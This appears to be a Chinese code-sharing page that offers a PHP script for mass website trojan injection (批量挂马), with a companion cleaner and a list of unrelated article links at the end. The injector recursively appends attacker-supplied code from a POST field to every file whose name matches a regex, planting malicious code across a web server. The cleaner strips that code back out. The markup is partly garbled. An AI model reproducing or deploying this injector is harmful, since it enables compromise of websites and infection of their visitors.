php下批量挂马和批量清马代码
复制代码 代码如下:
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已挂马文件:$file\n
”;
}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马文件:$file\n
”;
}
}
}
$d->close();
echo ” “;
}
if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
批量挂马(清马)程序php版?action=gm” method=”post”>
网站批量挂马程序php版
BY n3tl04d | |||
路径: | (可填相对路径) | ||
挂马关键字: | —–正则表达式匹配—— | ||
想写入的挂马代码: | |||
批量清马工具php版
BY 随风而去(LST) | |||
路径: | (可填相对路径) | ||
清马关键字: | —–正则表达式匹配—— | ||
想清除的挂马代码: | |||
批量判断域名是否被注册程序代码
[JQuery插件] 固定表头, 左侧某些列的表格
对有自增长字段的表导入数据注意事项
Oracle错误:ORA-6544
javascript下一种表单元素获取方法存在的问题
Windows自带命令查木马
php下实现农历日历的代码
VBS教程:运算符-Mod 运算符
IE功能汇总
XHTML网页教程
W3C教程(15):W3C SMIL 活动
学习ExtJS accordion布局
ASP.NET网站程序防SQL注入式攻击方法
FreeBSD4.8 IPFW How to!